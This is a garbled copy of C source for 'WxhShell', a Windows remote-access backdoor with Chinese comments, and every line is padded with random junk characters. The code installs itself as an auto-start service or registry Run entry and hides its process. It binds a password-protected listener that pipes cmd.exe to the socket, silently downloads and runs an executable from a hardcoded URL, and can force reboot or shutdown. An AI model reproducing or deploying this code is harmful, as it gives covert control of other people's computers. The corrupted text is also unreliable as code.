    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); __@BUK{q  
    if(Boot(SHUTDOWN)) &{RDM~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Qq*p  
    else { oE~RyS X  
    closesocket(wsh); OTp]Xe/  
    ExitThread(0); \1`O_DF~o  
    } : jx4{V  
    break; X|[`P<'N<  
    } Y~Ifj,\  
  // 获取shell IAEAhqp  
  case 's': { nie%eC&U  
    CmdShell(wsh); Wf<LR3  
    closesocket(wsh); fLVAKn  
    ExitThread(0); bfO=;S]b!  
    break; `kr?j:g  
  } a> )f=uS  
  // 退出 w:l"\Tm  
  case 'x': { <or2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W l1 6`9  
    CloseIt(wsh); - DCbko  
    break; yBRC*0+Vy  
    } m3ff;,  
  // 离开 {^'HL   
  case 'q': { 4~=l}H>&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0ksa  
    closesocket(wsh); ?}7p"3j'z  
    WSACleanup(); -F92-jBM4  
    exit(1); 66 Tpi![  
    break; 7 ?t6UPf  
        } ^J d r>@  
  } v@Ox:wl>  
  } zT[!o j7  
smLQS+UE  
  // 提示信息 LF7SS;&~f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b[7 ]F  
} `-&K~^-cH  
  } Df#l8YK#  
I0a<%;JJW  
  return; &OBkevg  
} MW{8VH6+  
vFsLY  
// shell模块句柄 o14cwb  
int CmdShell(SOCKET sock) 4OX^(  
{ _ J[  
STARTUPINFO si; c|1&lYal;  
ZeroMemory(&si,sizeof(si)); |)81Lz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {iLT/i%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s{" 2L{,$  
PROCESS_INFORMATION ProcessInfo; x m@_IL&P  
char cmdline[]="cmd"; rbpSg7}Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :ivf/x n  
  return 0; CP{cAzHO  
} @I*{f  
 bF(f*u  
// 自身启动模式 03(4 x'z  
int StartFromService(void) \4#W xZ  
{ 4&f3%eTi  
typedef struct Rh |nP&6  
{ LK"69Qx?5q  
  DWORD ExitStatus; |I|fMF2K  
  DWORD PebBaseAddress; R$Q.sE  
  DWORD AffinityMask;  *,m;  
  DWORD BasePriority; ? qA]w9x  
  ULONG UniqueProcessId; F>cv<l =6l  
  ULONG InheritedFromUniqueProcessId; @K]|K]cby  
}   PROCESS_BASIC_INFORMATION; *:NQ&y*uj  
8*fv'  
PROCNTQSIP NtQueryInformationProcess; HKr Mim-  
)WoxMmz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .6V}3q$-@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^I)N. 5  
e$pV%5=  
  HANDLE             hProcess; <9%R\_@$H  
  PROCESS_BASIC_INFORMATION pbi; g[t [/TV   
* H9 8Du  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )/EO&F  
  if(NULL == hInst ) return 0; CA#,THty  
g4@ lM"|S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``Un&-Ms  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 42{:G8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ; Hd7*`$  
1r7y]FyH$  
  if (!NtQueryInformationProcess) return 0; -tNUMi'  
!YJs]_Wr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d:{O\   
  if(!hProcess) return 0; e!r-+.i(  
AvHCO8h|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +'@Dz9:>  
^BL"wk  
  CloseHandle(hProcess); EyLuO-5  
\_U$"/$4VH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z: 7fV5b(  
if(hProcess==NULL) return 0; TuYCR>P[  
6i*sm.SDw  
HMODULE hMod; 4,0{7MLgK  
char procName[255]; ;Q&5,< N)j  
unsigned long cbNeeded; h65-s  
-Vhw^T1iV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uOGw9O-d9  
ilva,WFa^  
  CloseHandle(hProcess); fg{n(TE"8  
X~i<g?]  
if(strstr(procName,"services")) return 1; // 以服务启动 hiw|2Y&`  
_Y[bMuUb=  
  return 0; // 注册表启动 [66! bM&  
} uXq. ]ub  
vI)LB)Q  
// 主模块 27< Enq]  
int StartWxhshell(LPSTR lpCmdLine) Q1l' 7N  
{ c{LO6dNg\z  
  SOCKET wsl; |B2+{@R  
BOOL val=TRUE; PJ'E/C)i  
  int port=0; Cs ifKHI  
  struct sockaddr_in door; AnvRxb.e  
f f1c/c/  
  if(wscfg.ws_autoins) Install(); !#" zTj  
 =4!e&o  
port=atoi(lpCmdLine); C\/L v.  
O<;3M'y\  
if(port<=0) port=wscfg.ws_port; 0,8okA H  
|id <=Xf  
  WSADATA data; wg]LVW}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d&s9t;@=  
O5t[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O s.4)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4I?^t"  
  door.sin_family = AF_INET; 5lT*hF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4X(H ;  
  door.sin_port = htons(port); C C^'@~)?  
|qZ1|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AZ}Xj>=  
closesocket(wsl); Bn g@-#`/  
return 1; y Ej^=pw  
} 5-xX8-ElYz  
E1U",CMU  
  if(listen(wsl,2) == INVALID_SOCKET) { Ezv Y"T@  
closesocket(wsl); Gm.]sE?.  
return 1; Q&| \r  
} QZ%`/\(!8_  
  Wxhshell(wsl); H1(Uw:V8  
  WSACleanup(); q\527^ZM  
LAe6`foW/  
return 0; Sa`Xf\  
v2;`f+  
} ,T8~L#M~  
!GEJIefx_  
// 以NT服务方式启动 e,XYVWY%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w~?~g<q  
{ h.s+)fl\  
DWORD   status = 0; f! .<$ih  
  DWORD   specificError = 0xfffffff; VD]zz ^  
)M//l1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1s@+;QUib  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bv%GJ*>>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l/ ;  
  serviceStatus.dwWin32ExitCode     = 0; "4,?uPi  
  serviceStatus.dwServiceSpecificExitCode = 0; ">j j  
  serviceStatus.dwCheckPoint       = 0; A^EE32kbm  
  serviceStatus.dwWaitHint       = 0; SrK<fAkx  
y e? 'Ze  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c>~*/%+  
  if (hServiceStatusHandle==0) return; ,V:SN~P66+  
^J8lBLqe  
status = GetLastError(); ;H.^i|_/  
  if (status!=NO_ERROR) GU8sO@S5#  
{ }HePZ{PLM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +|89>}w4  
    serviceStatus.dwCheckPoint       = 0; P&e\)Z|  
    serviceStatus.dwWaitHint       = 0;  3 +fp2  
    serviceStatus.dwWin32ExitCode     = status; I[##2  
    serviceStatus.dwServiceSpecificExitCode = specificError; \1 &,|\E#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l9u!aD  
    return; FA3~|Zg  
  } EJ:%}HhA  
=j*$ |X3W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eq\M;aDq  
  serviceStatus.dwCheckPoint       = 0; QM#4uI55B  
  serviceStatus.dwWaitHint       = 0; K$_0 `>[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aC.~&MxFC  
} 9dUravC7  
O ,h;hQZ  
// 处理NT服务事件,比如:启动、停止 :| 8M`18lZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {"QNJq#:  
{ Um-[~-  
switch(fdwControl) 7 uKY24  
{ `o8/(`a  
case SERVICE_CONTROL_STOP: '>ssqBnI  
  serviceStatus.dwWin32ExitCode = 0; M |`U"vO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &,CiM0  
  serviceStatus.dwCheckPoint   = 0; P8)=Kbd  
  serviceStatus.dwWaitHint     = 0; j*jo@N |  
  { }\:Nu Tf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G&V/Gj8  
  } iBgx  
  return; > eIP.,9  
case SERVICE_CONTROL_PAUSE: zSja/yq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1gy.8i  
  break; &&:Y Vd  
case SERVICE_CONTROL_CONTINUE: !~D}/Q;#}\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,+{LYF  
  break; Pjjewy1}^  
case SERVICE_CONTROL_INTERROGATE: i,4>0o?  
  break; lun\`f 5Q  
}; '>0fWBs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <drODjB  
} 8tFoN*M  
EbE-}>7OO  
// 标准应用程序主函数 MgrLSKLT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m6CI{Sa](l  
{ @A89eZbW  
<\ :Yk  
// 获取操作系统版本 gPsi  
OsIsNt=GetOsVer(); 8Sh54H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YccH+[X;  
H'HA+q  
  // 从命令行安装 q $tUH)0  
  if(strpbrk(lpCmdLine,"iI")) Install(); s`'{I8'p/  
?Yk.$90  
  // 下载执行文件 =4PV;>X  
if(wscfg.ws_downexe) { ?D*/*Gk{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j=aI9p  
  WinExec(wscfg.ws_filenam,SW_HIDE); DLMM/WJg@  
} uIZ-#q  
>kp?vK;'B  
if(!OsIsNt) { \GZM&Zd  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ksj -zR;  
HideProc(); z'\_jaj^  
StartWxhshell(lpCmdLine); Slher0.Y  
} A}N?/{y)G  
else SY^t} A7:/  
  if(StartFromService()) 7KL v6]b  
  // 以服务方式启动 kDN:ep{/  
  StartServiceCtrlDispatcher(DispatchTable); ,>-< (Qi  
else g/+C@_&m  
  // 普通方式启动 4^~(Mh-Mw  
  StartWxhshell(lpCmdLine); DN~nk  
D\s WZ  
return 0; V(6Z3g  
} /1Q(b  
Yc `)R  
jWl)cC  
bc) ~k:  
=========================================== xt%7@/hiE  
L3--r  
l6kWQpV  
7/f3Z 1g  
~ZEmULKkR  
Q[pV!CH  
" Dg?70v <a  
JB`\G=PiL  
#include <stdio.h> Q/_f zg  
#include <string.h> _:C9{aEZb  
#include <windows.h> >>o dZL  
#include <winsock2.h> OJ$]V,Z00x  
#include <winsvc.h> uv(Sdiir8  
#include <urlmon.h> gy0haW   
Vz)`nmO}5\  
#pragma comment (lib, "Ws2_32.lib") #Xb+`'  
#pragma comment (lib, "urlmon.lib") GlT7b/JCG  
Uo>] sNP~  
#define MAX_USER   100 // 最大客户端连接数 2hkRd>)&5  
#define BUF_SOCK   200 // sock buffer 5>j)kx=J9  
#define KEY_BUFF   255 // 输入 buffer i9A+gtd  
TAF PawH  
#define REBOOT     0   // 重启 h`k"A7M  
#define SHUTDOWN   1   // 关机 /[)qEl2]K  
5sJJGv#6  
#define DEF_PORT   5000 // 监听端口 H_ox_ u}  
Nkl_Ho,  
#define REG_LEN     16   // 注册表键长度 s,n0jix@  
#define SVC_LEN     80   // NT服务名长度 ^!z [t\$  
<$~mE9a6  
// 从dll定义API i Ae<&Ms  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lM{ +!-G,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NchXt6$i9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xJZ>uTN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <'Wo@N7  
J<maQ6p  
// wxhshell配置信息 >U*T0FL7  
struct WSCFG { ?1$fJ3  
  int ws_port;         // 监听端口 $UCAhG$  
  char ws_passstr[REG_LEN]; // 口令 \lC   
  int ws_autoins;       // 安装标记, 1=yes 0=no oMTf"0EIW  
  char ws_regname[REG_LEN]; // 注册表键名 JJ'.((  
  char ws_svcname[REG_LEN]; // 服务名 *B{j.{ p(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [E JQ>?D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jesjtcy<*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [P7N{l=I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &2zq%((r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +0q>fp_K(+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e\JojaV  
Pgus42f%  
}; O1*NzY0Y%-  
Kt|1&Gk  
// default Wxhshell configuration /_Z652@  
struct WSCFG wscfg={DEF_PORT, r*_ZJ*h[  
    "xuhuanlingzhe", ux3<l+jv^  
    1, wG< (F}VX  
    "Wxhshell", a|=x5`h04~  
    "Wxhshell", `poE6\  
            "WxhShell Service", LLXVNO@e+  
    "Wrsky Windows CmdShell Service", P2'DD 3   
    "Please Input Your Password: ", !0C^TCuG  
  1, sWblFvHqrU  
  "http://www.wrsky.com/wxhshell.exe", SD$h@p=!=  
  "Wxhshell.exe" eI:C{0p=  
    }; xz{IH,?IG  
)Ocl=H|=  
// 消息定义模块 _Bp1co85MQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _b.qkTWUB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Adgc% .#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H0SQ"?  
char *msg_ws_ext="\n\rExit."; ?Cg>h  
char *msg_ws_end="\n\rQuit."; pL%r,Y_^\x  
char *msg_ws_boot="\n\rReboot..."; ] Ww?QhJ  
char *msg_ws_poff="\n\rShutdown..."; tl'9IGlc  
char *msg_ws_down="\n\rSave to "; IGFR4+  
iVTGF<  
char *msg_ws_err="\n\rErr!"; ~Oq +IA~9  
char *msg_ws_ok="\n\rOK!"; X>. NFB  
*@)O7vB  
char ExeFile[MAX_PATH]; d[^~'V  
int nUser = 0; -s$F&\5by  
HANDLE handles[MAX_USER]; QtqfG{  
int OsIsNt; 0,rTdjH7  
'X !?vK^]p  
SERVICE_STATUS       serviceStatus; Bv. `R0e&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `z )N,fF  
1YJC{bO  
// 函数声明 FH%GIi  
int Install(void); !o+_T?  
int Uninstall(void); S^<g_ q  
int DownloadFile(char *sURL, SOCKET wsh); L%c0Z@[~  
int Boot(int flag); b2=0}~LK  
void HideProc(void); *"r~-&IL  
int GetOsVer(void); o9S+6@  
int Wxhshell(SOCKET wsl); Kmv+1T0,  
void TalkWithClient(void *cs); S&Ee,((E(  
int CmdShell(SOCKET sock); d)R352  
int StartFromService(void); /?1nHBYPM  
int StartWxhshell(LPSTR lpCmdLine); dwv6;x  
Css l{B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;h" P{fF   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z.VyRBi0  
IMl!,(6;  
// 数据结构和表定义 "a/ Q%.P  
SERVICE_TABLE_ENTRY DispatchTable[] = u@%r  
{ BEgV^\u  
{wscfg.ws_svcname, NTServiceMain}, I1>N4R-j  
{NULL, NULL} ^T,Gu-2>  
}; H'UR8%  
T,OwM\`.X{  
// 自我安装 Uyr3dN%*r  
int Install(void) fiN3xP]V  
{ d/e|'MPX  
  char svExeFile[MAX_PATH]; $<|l E/_]  
  HKEY key; ?cEskafb>  
  strcpy(svExeFile,ExeFile); 3#45m+D  
e=QK}gzX  
// 如果是win9x系统,修改注册表设为自启动 uH;-z_Wpn!  
if(!OsIsNt) { D'hW|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N#_GJSG_|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V)i5=bHC  
  RegCloseKey(key); O8W7<Wc |z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7 +@qB]Bi<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =}:)y0L  
  RegCloseKey(key); K[7EOXLy  
  return 0; e<#DdpX!H~  
    } I;?X f  
  } y{a$y}7#X  
} .+([  
else { ^+9sG$T_EV  
`H3.,]  
// 如果是NT以上系统,安装为系统服务 iIGbHn,/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d@3}U6,  
if (schSCManager!=0) ]}6w#)]"  
{ 08m;{+|vY  
  SC_HANDLE schService = CreateService C}*cx$.  
  ( ^Mk%z9 ?  
  schSCManager, %D`,k*X  
  wscfg.ws_svcname, \rV B5|D?  
  wscfg.ws_svcdisp, D*Q.G8(  
  SERVICE_ALL_ACCESS, 5I@w~z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lw(e3j  
  SERVICE_AUTO_START, U70]!EaT  
  SERVICE_ERROR_NORMAL, PSmfiaThwo  
  svExeFile, 0G2g4DSKD  
  NULL, 92'wkS  
  NULL, KYxBVgJ  
  NULL, @i3bgx>_o  
  NULL, 9r2IuS0  
  NULL $.489x+'Z  
  ); *+b6B_u]  
  if (schService!=0) <p?&udqD  
  {  X}6#II  
  CloseServiceHandle(schService); *$M'`vj:  
  CloseServiceHandle(schSCManager); V8~jf-\$b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sj(F3wY  
  strcat(svExeFile,wscfg.ws_svcname); 6R29$D|HFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *AIEl"29  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !"TZ:"VZU  
  RegCloseKey(key); -gz0md|Y  
  return 0; )P>u9=?,=E  
    } D8# on!  
  } V=:_d,  
  CloseServiceHandle(schSCManager); Gj /3kS~@  
} jUqy8q&  
} ? QDWuPhN  
M'1!<a-Mp  
return 1; rB%$;<`/  
} =N|kn<h4  
^SfS~G Q  
// 自我卸载 +tN &a  
int Uninstall(void) S2VVv$r_6  
{ ?oiKVL"7  
  HKEY key; '~wpP=<yyF  
:Ld!mRZF  
if(!OsIsNt) { VZIR4J[\.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { www`=)A;  
  RegDeleteValue(key,wscfg.ws_regname); )Os Lrq/  
  RegCloseKey(key); 1[;@AE2Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YO:&;K%  
  RegDeleteValue(key,wscfg.ws_regname); jec:i-,  
  RegCloseKey(key); `4CWE_k  
  return 0; WnAd5#G  
  } I}Xg &-L  
} vVs#^"-nW  
} )DUL)S  
else { y/@iT8$rp  
 !=*.$4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (a6?s{(  
if (schSCManager!=0) 6b Z[Kt  
{ [Id}4[={e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7XyOB+aQO  
  if (schService!=0) .]}N55M  
  { nD,{3B#  
  if(DeleteService(schService)!=0) { ;</Twm;:  
  CloseServiceHandle(schService); (w2= 2$  
  CloseServiceHandle(schSCManager); '?Iif#Z1  
  return 0; <V_7|)'/A  
  } B">yKB:D}t  
  CloseServiceHandle(schService); 3An(jt$%Q  
  } 1;W=!Fx  
  CloseServiceHandle(schSCManager); Z#Lx_*p]Q  
} 8Xm@r#Oy5  
} 1ZKzumF  
H"+c)FGi  
return 1; R.1Xst &i  
} 2go>  
=`I?mn&  
// 从指定url下载文件 3,.% s  
int DownloadFile(char *sURL, SOCKET wsh) -0,4eg j3  
{ Dr"/3xm  
  HRESULT hr; mPVE?jnR^0  
char seps[]= "/"; ".2A9]_s  
char *token; 4^!4eyQ^  
char *file; -'C!"\%  
char myURL[MAX_PATH]; s=EiH  
char myFILE[MAX_PATH]; ;>2#@QP  
vg8O] YF  
strcpy(myURL,sURL); ?G/hJ?3  
  token=strtok(myURL,seps); +CTmcbyOi  
  while(token!=NULL) }BN\/;<A  
  { F$hZRZ  
    file=token; Ud3""C5B  
  token=strtok(NULL,seps); GH3#E*t+[  
  } Qp!Y.YnPd_  
*PM}"s  
GetCurrentDirectory(MAX_PATH,myFILE); IF?xnu  
strcat(myFILE, "\\"); -WT3)On  
strcat(myFILE, file); {:Vf0Mhb  
  send(wsh,myFILE,strlen(myFILE),0); TvrwVL)  
send(wsh,"...",3,0); Gidkt;lj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f:%SW  
  if(hr==S_OK) mpef]9  
return 0; T#iU+)-\%  
else & QY#3yj=  
return 1;  ]R Mb,hJ  
qiNliJ>40E  
} "oE*9J?e  
K ~>jApZ%  
// 系统电源模块 "r-l8r,  
int Boot(int flag) vO$ra5Z  
{ 7>x;B  
  HANDLE hToken; A'DVJ9%xB  
  TOKEN_PRIVILEGES tkp; u3wL<$2[8  
X7e/:._SAH  
  if(OsIsNt) { sA_X<>vAKJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kQ}s/*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +?e}<#vd'?  
    tkp.PrivilegeCount = 1; &LU'.jY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H%Y%fQ ~^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dB`b9)Tk0z  
if(flag==REBOOT) { YMAQ+A!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^"tqdeCb=  
  return 0; I>((o`  
} g[!Cj,  
else { C.E[6$oVc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oO:LG%q  
  return 0; yH(V&Tv  
} [~?M/QI9  
  } 9U10d&M(  
  else { YY!!<2_  
if(flag==REBOOT) { 9N}W(>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =QiT)9q)  
  return 0; l @A"U)A(  
} nO@+s F  
else { z^~U]S3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ALR:MAXwC  
  return 0; .!j#3J..u  
} p}8ratmN  
} &HxT41pku  
WLy7'3@  
return 1; B,0+HoP  
} .cw=*<zeg  
|Qu_E  
// win9x进程隐藏模块 fm6]CU1^  
void HideProc(void) l\U*sro<  
{ ;qT5faKB3J  
`GkRmv*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M+UMR+K  
  if ( hKernel != NULL ) T{~MiC6A  
  { <`mOU} 0 )  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S&|VkZR)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &z0iLa4q)  
    FreeLibrary(hKernel); u-M] A z-  
  } u~)%tL  
ok=40B99T  
return; ={xqNRVd  
} '5cZzC 2  
YlB["@\[B  
// 获取操作系统版本 5@.zz"o.`  
int GetOsVer(void) mdt ?:F4Q  
{ 2?H@$-x>  
  OSVERSIONINFO winfo; Dtt\~m;AR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j@V $Mbv  
  GetVersionEx(&winfo); \#_@qHAG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hc /w ta  
  return 1; UNY@w=]<  
  else k7b(QADqUU  
  return 0; 7C YH'DL  
} Rh yegD  
sx90lsu  
// 客户端句柄模块 DoTs9w|5  
int Wxhshell(SOCKET wsl) (>r|j4$  
{ bN4d:0Y  
  SOCKET wsh; ,{TQ ~LP  
  struct sockaddr_in client; ,@,LD  u  
  DWORD myID; /W``LK>;?  
}*OD M6  
  while(nUser<MAX_USER) 4Q/r[x/&C  
{ A<;0L . J  
  int nSize=sizeof(client); I &cX8Tw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cd9t{pQD4  
  if(wsh==INVALID_SOCKET) return 1; u-1@~Z  
n\ Gg6Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eFes+i(35  
if(handles[nUser]==0) 5GUH;o1m  
  closesocket(wsh); wz)m{:b<  
else =yo=q)W  
  nUser++; 4&H+hN{3  
  }  TVj1C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gBfX}EK7F  
}P16Xb)p  
  return 0; ! 7Nn ]Lx  
} /;b.-v&  
x1:vUHwC  
// 关闭 socket lW&[mnR  
void CloseIt(SOCKET wsh) AtuZF  
{ wbl ${@4  
closesocket(wsh); 8\P JSr  
nUser--; e=-YP8l  
ExitThread(0); \S'cW B  
} oNrEIgaA(+  
Ep,1}Dx  
// 客户端请求句柄 Za34/ro/T  
void TalkWithClient(void *cs) ?#U0eb5u  
{ 0\QYf0o   
|@OJ~5H/{  
  SOCKET wsh=(SOCKET)cs; JPHUmv6  
  char pwd[SVC_LEN]; a{5H33JA  
  char cmd[KEY_BUFF]; kzW\z4f  
char chr[1];  \8 g.  
int i,j; -.^@9 a>  
?V.ig  
  while (nUser < MAX_USER) { W6h NJb  
'wegipK~R  
if(wscfg.ws_passstr) { h#vL5At  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j}i,G!-u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d|R HG  
  //ZeroMemory(pwd,KEY_BUFF); D1"1MUSod  
      i=0; S|s3}]g9  
  while(i<SVC_LEN) { X"laZd947>  
(=6P]~,  
  // 设置超时 VvzPQk  
  fd_set FdRead; sn2r >m3  
  struct timeval TimeOut; yo'q[YtP'  
  FD_ZERO(&FdRead); 5 1v r^  
  FD_SET(wsh,&FdRead); DIL)7K4  
  TimeOut.tv_sec=8; `6dy U_f  
  TimeOut.tv_usec=0; 30t:O&2<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qu!OV]Cc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;>cLbjD  
$0ym_6n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BYTXAZLb  
  pwd=chr[0]; :t_}_!~  
  if(chr[0]==0xd || chr[0]==0xa) { ;D6x=v=2  
  pwd=0; @2QJm  
  break; f|;HS!$  
  } %{7$ \|;J'  
  i++; QxP` fKC8  
    } ftDVxKDE?S  
e-&L\M  
  // 如果是非法用户,关闭 socket fp`U?S6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1x^W'n,HtK  
} 7 3H@kf  
dO Y lI`4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E!r4AjaC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ddGkk@CA  
O8!!UA8V  
while(1) { l#mqV@?A~  
}M;sz  
  ZeroMemory(cmd,KEY_BUFF); X`8Y[Vb3}  
pT|./ Fe  
      // 自动支持客户端 telnet标准   H&"_}  
  j=0; (or =f`  
  while(j<KEY_BUFF) { kfH9Y%bOy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !NlB%cF  
  cmd[j]=chr[0]; ]W89.><%14  
  if(chr[0]==0xa || chr[0]==0xd) { n=lggBRx  
  cmd[j]=0; c80"8r  
  break; D N2hv2  
  } KFCQYdI`d  
  j++; Zw3hp,P]  
    } tyBg7dP  
F(0pru4u  
  // 下载文件 a,en8+r ]  
  if(strstr(cmd,"http://")) { Yj|c+&Ng  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &lOXi?&"  
  if(DownloadFile(cmd,wsh)) D3,t6\m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LR 8e|H0  
  else 1\"BvFE*E~  
